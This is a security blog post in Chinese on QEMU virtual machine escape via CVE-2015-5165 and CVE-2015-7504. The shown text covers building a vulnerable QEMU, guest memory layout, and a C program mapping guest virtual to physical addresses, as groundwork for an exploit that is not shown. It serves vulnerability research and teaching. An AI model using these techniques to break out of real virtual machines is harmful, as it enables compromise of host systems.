Cool-Y.github.io/2021/04/10/vm-escape1/index.html
2021-05-21 15:35:38 +08:00

1265 lines
83 KiB
HTML
Raw Permalink Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<!DOCTYPE html>
<html class="theme-next muse use-motion" lang="zh-Hans">
<head><meta name="generator" content="Hexo 3.8.0">
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<meta name="theme-color" content="#222">
<script src="/lib/pace/pace.min.js?v=1.0.2"></script>
<link href="/lib/pace/pace-theme-center-atom.min.css?v=1.0.2" rel="stylesheet">
<meta http-equiv="Cache-Control" content="no-transform">
<meta http-equiv="Cache-Control" content="no-siteapp">
<link href="/lib/fancybox/source/jquery.fancybox.css?v=2.1.5" rel="stylesheet" type="text/css">
<link href="/lib/font-awesome/css/font-awesome.min.css?v=4.6.2" rel="stylesheet" type="text/css">
<link href="/css/main.css?v=5.1.4" rel="stylesheet" type="text/css">
<link rel="apple-touch-icon" sizes="180x180" href="/images/hackerrank.png?v=5.1.4">
<link rel="icon" type="image/png" sizes="32x32" href="/images/hackerrank.png?v=5.1.4">
<link rel="icon" type="image/png" sizes="16x16" href="/images/hackerrank.png?v=5.1.4">
<link rel="mask-icon" href="/images/logo.svg?v=5.1.4" color="#222">
<meta name="keywords" content="CVE,QEMU,信息泄露,">
<link rel="alternate" href="/atom.xml" title="混元霹雳手" type="application/atom+xml">
<meta name="description" content="进入QEMU虚拟机逃逸的世界">
<meta name="keywords" content="CVE,QEMU,信息泄露">
<meta property="og:type" content="article">
<meta property="og:title" content="VM escape-QEMU Case Study">
<meta property="og:url" content="https://cool-y.github.io/2021/04/10/vm-escape1/index.html">
<meta property="og:site_name" content="混元霹雳手">
<meta property="og:description" content="进入QEMU虚拟机逃逸的世界">
<meta property="og:locale" content="zh-Hans">
<meta property="og:image" content="https://res.cloudinary.com/dozyfkbg3/image/upload/v1618050992/VMescape/image_29.png">
<meta property="og:image" content="https://res.cloudinary.com/dozyfkbg3/image/upload/v1618050992/VMescape/image_30.png">
<meta property="og:image" content="https://res.cloudinary.com/dozyfkbg3/image/upload/v1618050992/VMescape/image_31.png">
<meta property="og:image" content="https://res.cloudinary.com/dozyfkbg3/image/upload/v1618050992/VMescape/image_32.png">
<meta property="og:updated_time" content="2021-04-11T06:19:26.805Z">
<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="VM escape-QEMU Case Study">
<meta name="twitter:description" content="进入QEMU虚拟机逃逸的世界">
<meta name="twitter:image" content="https://res.cloudinary.com/dozyfkbg3/image/upload/v1618050992/VMescape/image_29.png">
<script type="text/javascript" id="hexo.configurations">
var NexT = window.NexT || {};
var CONFIG = {
root: '/',
scheme: 'Muse',
version: '5.1.4',
sidebar: {"position":"left","display":"always","offset":12,"b2t":false,"scrollpercent":true,"onmobile":true},
fancybox: true,
tabs: true,
motion: {"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},
duoshuo: {
userId: '0',
author: '博主'
},
algolia: {
applicationID: '',
apiKey: '',
indexName: '',
hits: {"per_page":10},
labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}
}
};
</script>
<link rel="canonical" href="https://cool-y.github.io/2021/04/10/vm-escape1/">
<title>VM escape-QEMU Case Study | 混元霹雳手</title>
</head>
<body itemscope itemtype="http://schema.org/WebPage" lang="zh-Hans">
<div class="container sidebar-position-left page-post-detail">
<div class="headband"></div>
<header id="header" class="header" itemscope itemtype="http://schema.org/WPHeader">
<div class="header-inner"><div class="site-brand-wrapper">
<div class="site-meta ">
<div class="custom-logo-site-title">
<a href="/" class="brand" rel="start">
<span class="logo-line-before"><i></i></span>
<span class="site-title">混元霹雳手</span>
<span class="logo-line-after"><i></i></span>
</a>
</div>
<p class="site-subtitle">Battle⚔ 2 the world🌎</p>
</div>
<div class="site-nav-toggle">
<button>
<span class="btn-bar"></span>
<span class="btn-bar"></span>
<span class="btn-bar"></span>
</button>
</div>
</div>
<nav class="site-nav">
<ul id="menu" class="menu">
<li class="menu-item menu-item-home">
<a href="/" rel="section">
<i class="menu-item-icon fa fa-fw fa-home"></i> <br>
首页
</a>
</li>
<li class="menu-item menu-item-about">
<a href="/about/" rel="section">
<i class="menu-item-icon fa fa-fw fa-user"></i> <br>
关于
</a>
</li>
<li class="menu-item menu-item-tags">
<a href="/tags/" rel="section">
<i class="menu-item-icon fa fa-fw fa-tags"></i> <br>
标签
</a>
</li>
<li class="menu-item menu-item-categories">
<a href="/categories/" rel="section">
<i class="menu-item-icon fa fa-fw fa-th"></i> <br>
分类
</a>
</li>
<li class="menu-item menu-item-archives">
<a href="/archives/" rel="section">
<i class="menu-item-icon fa fa-fw fa-archive"></i> <br>
归档
</a>
</li>
<li class="menu-item menu-item-bookmarks">
<a href="/bookmarks/" rel="section">
<i class="menu-item-icon fa fa-fw fa-map"></i> <br>
书签
</a>
</li>
<li class="menu-item menu-item-album">
<a href="/album/" rel="section">
<i class="menu-item-icon fa fa-fw fa-heartbeat"></i> <br>
相簿
</a>
</li>
</ul>
</nav>
</div>
</header>
<main id="main" class="main">
<div class="main-inner">
<div class="content-wrap">
<div id="content" class="content">
<div id="posts" class="posts-expand">
<article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
<div class="post-block">
<link itemprop="mainEntityOfPage" href="https://cool-y.github.io/2021/04/10/vm-escape1/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="name" content="Cool-Y">
<meta itemprop="description" content>
<meta itemprop="image" content="/images/avatar.png">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="混元霹雳手">
</span>
<header class="post-header">
<h1 class="post-title" itemprop="name headline">VM escape-QEMU Case Study</h1>
<div class="post-meta">
<span class="post-time">
<span class="post-meta-item-icon">
<i class="fa fa-calendar-o"></i>
</span>
<span class="post-meta-item-text">发表于</span>
<time title="创建于" itemprop="dateCreated datePublished" datetime="2021-04-10T18:25:46+08:00">
2021-04-10
</time>
</span>
<span class="post-category">
<span class="post-meta-divider">|</span>
<span class="post-meta-item-icon">
<i class="fa fa-folder-o"></i>
</span>
<span class="post-meta-item-text">分类于</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
<a href="/categories/Pwn/" itemprop="url" rel="index">
<span itemprop="name">Pwn</span>
</a>
</span>
</span>
<span id="/2021/04/10/vm-escape1/" class="leancloud_visitors" data-flag-title="VM escape-QEMU Case Study">
<span class="post-meta-divider">|</span>
<span class="post-meta-item-icon">
<i class="fa fa-eye"></i>
</span>
<span class="post-meta-item-text">阅读次数&#58;</span>
<span class="leancloud-visitors-count"></span>
</span>
<div class="post-wordcount">
<span class="post-meta-item-icon">
<i class="fa fa-file-word-o"></i>
</span>
<span title="字数统计">
4.8k 字
</span>
<span class="post-meta-divider">|</span>
<span class="post-meta-item-icon">
<i class="fa fa-clock-o"></i>
</span>
<span title="阅读时长">
20 分钟
</span>
</div>
<div class="post-description">
进入QEMU虚拟机逃逸的世界
</div>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<h2 id="1-Intro"><a href="#1-Intro" class="headerlink" title="1 Intro"></a>1 Intro</h2><p>如今,虚拟机已大量部署以供个人使用或在企业细分市场中使用。 网络安全供应商使用不同的VM在<em>受控和受限</em>的环境中分析恶意软件。 一个自然的问题出现了:<strong>恶意软件能否从虚拟机中逃脱并在主机上执行代码?</strong></p>
<p>2015年来自CrowdStrike的Jason Geffner报告了QEMU中的一个严重错误<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3456" target="_blank" rel="noopener">CVE-2015-3456</a>该错误影响了虚拟软盘驱动器代码这可能使攻击者从VM逃脱到主机。 此漏洞在netsec社区中引起了极大的关注可能是因为它有一个专用名<a href="https://www.crowdstrike.com/blog/venom-vulnerability-details/" target="_blank" rel="noopener">VENOM</a>),这并不是第一个此类漏洞。</p>
<p>2011年<a href="https://paper.bobylive.com/Meeting_Papers/BlackHat/USA-2011/BH_US_11_Elhage_Virtunoid_WP.pdf" target="_blank" rel="noopener">Nelson Elhage</a>在Blackhat 报告并成功利用了QEMU模拟PCI设备热插拔中的<a href="https://github.com/nelhage/virtunoid" target="_blank" rel="noopener">漏洞</a></p>
<p>2016年来自奇虎360的刘旭和王胜平在HITB 2016上展示了对KVM / QEMU的成功利用。 他们利用了两个不同的网卡设备仿真器模型RTL8139和PCNET中存在的两个漏洞CVE-2015-5165和CVE-2015-7504。 在他们的演讲中,他们概述了在主机上执行代码的主要步骤,但没有提供任何利用,也没有提供再现它的技术细节。</p>
<p>在本文中我们提供了对CVE-2015-5165一个内存泄漏漏洞和CVE-2015-7504一个基于堆的溢出漏洞的深入分析以及可利用的漏洞。 这两个漏洞的结合可让您从VM突围并在目标主机上执行代码。</p>
<p>我们讨论了技术细节以利用QEMU的<strong>网卡设备仿真</strong>中的漏洞并提供可以重新使用以利用QEMU未来错误的通用技术。 例如,利用共享内存区域和共享代码的交互式绑定外壳。</p>
<h2 id="2-KVM-QEMU-Overview"><a href="#2-KVM-QEMU-Overview" class="headerlink" title="2 KVM/QEMU Overview"></a>2 KVM/QEMU Overview</h2><p>KVMKernal-based Virtual Machine基于内核的虚拟机是一个内核模块可为用户空间程序提供完整的虚拟化基础架构。 它允许一个人运行多个运行未修改的Linux或Windows映像的虚拟机。</p>
<p>KVM的用户空间组件包含在主线QEMU快速仿真器该QEMU特别处理设备仿真。</p>
<h3 id="2-1-Workspace-Environment"><a href="#2-1-Workspace-Environment" class="headerlink" title="2.1 Workspace Environment"></a>2.1 Workspace Environment</h3><p>为了使那些想使用本文中给出的示例代码的人更轻松,我们在此处提供了重现我们的开发环境的主要步骤。</p>
<p>由于我们定位的漏洞已经修复因此我们需要签出QEMU存储库的源并切换到这些漏洞的修复之前的提交。 然后我们仅为目标x86_64配置QEMU并启用调试在我们的测试环境中我们使用Gcc的4.9.2版构建QEMU</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">$</span> git clone git://git.qemu-project.org/qemu.git</span><br><span class="line"><span class="meta">$</span></span><br><span class="line"><span class="meta">$</span> git checkout bd80b59</span><br><span class="line"><span class="meta">$</span> mkdir -p bin/debug/native</span><br><span class="line"><span class="meta">$</span> cd bin/debug/native</span><br><span class="line"><span class="meta">$</span> ../../../configure --target-list=x86_64-softmmu --enable-debug --disable-werror</span><br><span class="line"><span class="meta">$</span> make</span><br></pre></td></tr></table></figure>
<p>使用qemu-img来生成一个qcow2系统文件</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">$</span> ./qemu-img create -f qcow2 ubuntu.qcow2 20G`</span><br><span class="line"><span class="meta">$</span> sudo chmod 666 /dev/kvm</span><br></pre></td></tr></table></figure>
<p>之后首先通过qemu-system-x86_64完成对qcow2系统文件中系统的安装需要用-cdrom对iso镜像文件进行加载</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">$</span> ./x86_64-softmmu/qemu-system-x86_64 -enable-kvm -m 2048 -hda ./ubuntu.qcow2 -cdrom\</span><br><span class="line"> '/home/han/VMescape/ubuntu-16.04-server-amd64.iso'</span><br></pre></td></tr></table></figure>
<p>安装完成后就获得了一个有系统的qcow2文件我们分配2GB的内存并创建两个网络接口卡RTL8139和PCNET同时创建tap接口连接虚拟机和主机</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">✗ sudo tunctl -t tap0 -u `whoami`</span><br><span class="line">✗ sudo ifconfig tap0 192.168.2.1/24</span><br><span class="line"><span class="meta">$</span> ./x86_64-softmmu/qemu-system-x86_64 -enable-kvm -m 2048 -display vnc=:89 \</span><br><span class="line">-netdev user,id=t0, -device rtl8139,netdev=t0,id=nic0 -netdev user,id=t1, \</span><br><span class="line">-device pcnet,netdev=t1,id=nic1 -drive \</span><br><span class="line">file=/home/han/VMescape/qemu/bin/debug/native/ubuntu.qcow2,\</span><br><span class="line">format=qcow2,if=ide,cache=writeback,\</span><br><span class="line">-net nic -net tap,ifname=tap0,script=no,downscript=no</span><br></pre></td></tr></table></figure>
<p>使用vncviewer连接qemu</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">apt-get install xvnc4viewer</span><br><span class="line">vncviewer 127.0.0.1:5989</span><br></pre></td></tr></table></figure>
<h3 id="2-2-QEMU-Memory-Layout"><a href="#2-2-QEMU-Memory-Layout" class="headerlink" title="2.2 QEMU Memory Layout"></a>2.2 QEMU Memory Layout</h3><p>分配给guest虚拟机的物理内存实际上是QEMU虚拟地址空间中mmapp专用的区域。 重要的是要注意分配guest的物理内存时未启用PROT_EXEC标志。</p>
<p>下图说明了来宾的内存和主机的内存如何共存。</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"> Guest' processes</span><br><span class="line"> +--------------------+</span><br><span class="line">Virtual addr space | |</span><br><span class="line"> +--------------------+</span><br><span class="line"> | |</span><br><span class="line"> \__ Page Table \__</span><br><span class="line"> \ \</span><br><span class="line"> | | Guest kernel</span><br><span class="line"> +----+--------------------+----------------+</span><br><span class="line">Guest's phy. memory | | | |</span><br><span class="line"> +----+--------------------+----------------+</span><br><span class="line"> | |</span><br><span class="line"> \__ \__</span><br><span class="line"> \ \</span><br><span class="line"> | QEMU process |</span><br><span class="line"> +----+------------------------------------------+</span><br><span class="line">Virtual addr space | | |</span><br><span class="line"> +----+------------------------------------------+</span><br><span class="line"> | |</span><br><span class="line"> \__ Page Table \__</span><br><span class="line"> \ \</span><br><span class="line"> | |</span><br><span class="line"> +----+-----------------------------------------------++</span><br><span class="line">Physical memory | | ||</span><br><span class="line"> +----+-----------------------------------------------++</span><br></pre></td></tr></table></figure>
<p>此外QEMU为BIOS和ROM保留了一个内存区域。 这些映射在QEMU映射文件中可用</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">✗ cat /proc/36220/maps</span><br><span class="line">555aae05c000-555aae931000 r-xp 00000000 08:01 2239549 /usr/bin/qemu-system-x86_64</span><br><span class="line">555aaeb30000-555aaecfc000 r--p 008d4000 08:01 2239549 /usr/bin/qemu-system-x86_64</span><br><span class="line">555aaecfc000-555aaed7b000 rw-p 00aa0000 08:01 2239549 /usr/bin/qemu-system-x86_64</span><br><span class="line">555aaed7b000-555aaf1de000 rw-p 00000000 00:00 0</span><br><span class="line">555ab0c1c000-555ab2015000 rw-p 00000000 00:00 0 [heap]</span><br><span class="line">7f90b2e2b000-7f90b2e38000 r-xp 00000000 08:01 2758598 /usr/lib/x86_64-linux-gnu/sasl2/libdigestmd5.so.2.0.25</span><br><span class="line">7f90b2e38000-7f90b3037000 ---p 0000d000 08:01 2758598 /usr/lib/x86_64-linux-gnu/sasl2/libdigestmd5.so.2.0.25</span><br><span class="line">7f90b3037000-7f90b3038000 r--p 0000c000 08:01 2758598 /usr/lib/x86_64-linux-gnu/sasl2/libdigestmd5.so.2.0.25</span><br><span class="line">7f90b3038000-7f90b3039000 rw-p 0000d000 08:01 2758598 /usr/lib/x86_64-linux-gnu/sasl2/libdigestmd5.so.2.0.25</span><br><span class="line"></span><br><span class="line"> .... [other shared libs]</span><br><span class="line"></span><br><span class="line">7f9152f96000-7f9152f99000 rw-s 00000000 00:0e 12527 anon_inode:kvm-vcpu:0</span><br><span class="line">7f9152f99000-7f9152f9a000 r--p 00029000 08:01 2374490 /lib/x86_64-linux-gnu/ld-2.27.so</span><br><span class="line">7f9152f9a000-7f9152f9b000 rw-p 0002a000 08:01 2374490 /lib/x86_64-linux-gnu/ld-2.27.so</span><br><span class="line">7f9152f9b000-7f9152f9c000 rw-p 00000000 00:00 0</span><br><span class="line">7ffe2cf63000-7ffe2cf84000 rw-p 00000000 00:00 0 [stack]</span><br><span class="line">7ffe2cf8f000-7ffe2cf92000 r--p 00000000 00:00 0 [vvar]</span><br><span class="line">7ffe2cf92000-7ffe2cf93000 r-xp 00000000 00:00 0 [vdso]</span><br><span class="line">ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0 [vsyscall]</span><br></pre></td></tr></table></figure>
<p>有关虚拟化环境中内存管理的更详细说明,请参见:<a href="http://lettieri.iet.unipi.it/virtualization/2014/Vtx.pdf" target="_blank" rel="noopener">http://lettieri.iet.unipi.it/virtualization/2014/Vtx.pdf</a></p>
<h3 id="2-3-Address-Translation"><a href="#2-3-Address-Translation" class="headerlink" title="2.3 Address Translation"></a>2.3 Address Translation</h3><p>在QEMU中存在两个翻译层Guest Virtual Address → Guest Physical Address → Host Virtual Address</p>
<ul>
<li>从Guest虚拟地址到Guest物理地址。 在我们的利用中我们需要配置需要DMA访问的网卡设备。 例如我们需要提供Tx / Rx缓冲区的<strong>物理地址</strong>以正确配置网卡设备。</li>
<li>从Guest物理地址到QEMU的虚拟地址空间。 在我们的攻击中,我们需要注入伪造的结构,并在<strong>QEMU的虚拟地址空间</strong>中获得其精确地址。</li>
</ul>
<p>在x64系统上虚拟地址由页偏移量位0-11和页码组成。 在linux系统上具有CAP_SYS_ADMIN特权的用户空间进程能够使用页面映射文件pagemap )找出虚拟地址和物理地址的映射。 页面映射文件为每个虚拟页面存储一个64位值其中<code>physical_address = PFN * page_size + offset</code></p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">- Bits 0-54 : physical frame number if present.</span><br><span class="line">- Bit 55 : page table entry is soft-dirty.</span><br><span class="line">- Bit 56 : page exclusively mapped.</span><br><span class="line">- Bits 57-60 : zero</span><br><span class="line">- Bit 61 : page is file-page or shared-anon.</span><br><span class="line">- Bit 62 : page is swapped.</span><br><span class="line">- Bit 63 : page is present.</span><br></pre></td></tr></table></figure>
<p><a href="https://shanetully.com/2014/12/translating-virtual-addresses-to-physcial-addresses-in-user-space/" target="_blank" rel="noopener">虚拟地址Guest Virtual Address转换为物理地址Guest Physical Address</a>的过程包括</p>
<ol>
<li><p>64wei每个页面的大小为 <code>4096</code> 字节,即 <code>1 &lt;&lt; 12</code> </p>
</li>
<li><p>基于 <code>/proc/pid/pagemap</code> 可以查看进程任意 Virtual Page 的状态,包括是否被映射到物理内存以及在物理内存中的 Page Frame NumberPFN</p>
<ul>
<li><code>pagemap</code> 文件为每个 Virtual Page 存储 <code>64</code> 位(即 <code>8</code> 字节)的信息,数据格式如上。</li>
</ul>
</li>
<li><p>对任意的虚拟地址 <code>address</code> ,基于 <code>address/4096</code> 可以计算出该虚拟地址在 <code>pagemap</code> 文件中的索引值, <code>address/4096 * 8</code> 即对应的文件偏移值,在该位置能够获取<strong>PFN</strong>信息;</p>
</li>
<li><p>页内偏移对任意的虚拟地址 <code>address</code> <code>address%4096</code> 即虚拟地址在对应的内存页中的<strong>偏移值</strong></p>
</li>
<li><p>根据物理内存的 PFN <strong>physical frame number</strong>)以及页内偏移,就可以计算出对应的物理地址;</p>
</li>
</ol>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">physical_address = PFN * page_size + offset</span><br><span class="line">physcial_addr =(page_frame_number &lt;&lt; PAGE_SHIFT) + distance_from_page_boundary_of_buffer</span><br></pre></td></tr></table></figure>
<p>我们依靠Nelson Elhage的<a href="https://github.com/nelhage/virtunoid/blob/master/virtunoid.c" target="_blank" rel="noopener">代码</a>。 下面的程序分配一个缓冲区并用字符串“Where am I?”填充它。 并打印其物理地址:</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br></pre></td><td class="code"><pre><span class="line">---[ mmu.c ]---</span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdint.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;fcntl.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;assert.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;inttypes.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> PAGE_SHIFT 12</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> PAGE_SIZE (1 &lt;&lt; PAGE_SHIFT)</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> PFN_PRESENT (1ull &lt;&lt; 63)</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> PFN_PFN ((1ull &lt;&lt; 55) - 1)</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">int</span> fd;</span><br><span class="line"></span><br><span class="line"><span class="keyword">uint32_t</span> page_offset(<span class="keyword">uint32_t</span> addr)</span><br><span class="line">&#123;</span><br><span class="line"> <span class="keyword">return</span> addr &amp; ((<span class="number">1</span> &lt;&lt; PAGE_SHIFT) - <span class="number">1</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">uint64_t</span> gva_to_gfn(<span class="keyword">void</span> *addr)</span><br><span class="line">&#123;</span><br><span class="line"> <span class="keyword">uint64_t</span> pme, gfn;</span><br><span class="line"> <span class="keyword">size_t</span> offset;</span><br><span class="line"> offset = ((<span class="keyword">uintptr_t</span>)addr &gt;&gt; <span class="number">9</span>) &amp; ~<span class="number">7</span>;</span><br><span class="line"> lseek(fd, offset, SEEK_SET);</span><br><span class="line"> read(fd, &amp;pme, <span class="number">8</span>);</span><br><span class="line"> <span class="keyword">if</span> (!(pme &amp; PFN_PRESENT))</span><br><span class="line"> <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line"> # The page frame number is in bits <span class="number">0</span><span class="number">-54</span> so read the first <span class="number">7</span> bytes <span class="keyword">and</span> clear the <span class="number">55</span>th bit</span><br><span class="line"> gfn = pme &amp; PFN_PFN;</span><br><span class="line"> <span class="keyword">return</span> gfn;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">uint64_t</span> gva_to_gpa(<span class="keyword">void</span> *addr)</span><br><span class="line">&#123;</span><br><span class="line"> <span class="keyword">uint64_t</span> gfn = gva_to_gfn(addr);</span><br><span class="line"> assert(gfn != <span class="number">-1</span>);</span><br><span class="line"> <span class="keyword">return</span> (gfn &lt;&lt; PAGE_SHIFT) | page_offset((<span class="keyword">uint64_t</span>)addr);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"> <span class="keyword">uint8_t</span> *ptr;</span><br><span class="line"> <span class="keyword">uint64_t</span> ptr_mem;</span><br><span class="line"></span><br><span class="line"> fd = open(<span class="string">"/proc/self/pagemap"</span>, O_RDONLY);</span><br><span class="line"> <span class="keyword">if</span> (fd &lt; <span class="number">0</span>) &#123;</span><br><span class="line"> perror(<span class="string">"open"</span>);</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line"> ptr = <span class="built_in">malloc</span>(<span class="number">256</span>);</span><br><span class="line"> <span class="built_in">strcpy</span>(ptr, <span class="string">"Where am I?"</span>);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"%s\n"</span>, ptr);</span><br><span class="line"> ptr_mem = gva_to_gpa(ptr);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Your physical address is at 0x%"</span>PRIx64<span class="string">"\n"</span>, ptr_mem);</span><br><span class="line"></span><br><span class="line"> getchar();</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>静态编译好程序之后将其上传到 QEMU 虚拟机中以 <code>root</code> 身份执行,打印出物理地址为 <code>0x73b17b20</code><br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1618050992/VMescape/image_29.png" alt><br>在主机将gdb附加到QEMU进程我们可以看到缓冲区位于为guest虚拟机分配的物理地址空间内。 更准确地说输出的guest物理地址地址实际上是与<strong>guest物理内存基址</strong>的偏移量。</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">✗ sudo gdb qemu-system-x86_64 38140</span><br><span class="line">(gdb) info proc mappings</span><br><span class="line">process 38140</span><br><span class="line">Mapped address spaces:</span><br><span class="line"></span><br><span class="line"> Start Addr End Addr Size Offset objfile</span><br><span class="line"> 0x556857048000 0x55685791d000 0x8d5000 0x0 /usr/bin/qemu-system-x86_64</span><br><span class="line"> 0x556857b1c000 0x556857ce8000 0x1cc000 0x8d4000 /usr/bin/qemu-system-x86_64</span><br><span class="line"> 0x556857ce8000 0x556857d67000 0x7f000 0xaa0000 /usr/bin/qemu-system-x86_64</span><br><span class="line"> 0x556857d67000 0x5568581ca000 0x463000 0x0</span><br><span class="line"> 0x556859c27000 0x55685b038000 0x1411000 0x0 [heap]</span><br><span class="line"> ... ... ... ...</span><br><span class="line"> 0x7f72afe00000 0x7f732fe00000 0x80000000 0x0 [2GB RAM]</span><br><span class="line"> ... ... ... ...</span><br><span class="line">(gdb) x/s 0x7f72afe00000+0x73b17b20</span><br><span class="line">0x7f7323917b20: "Where am I?"</span><br></pre></td></tr></table></figure>
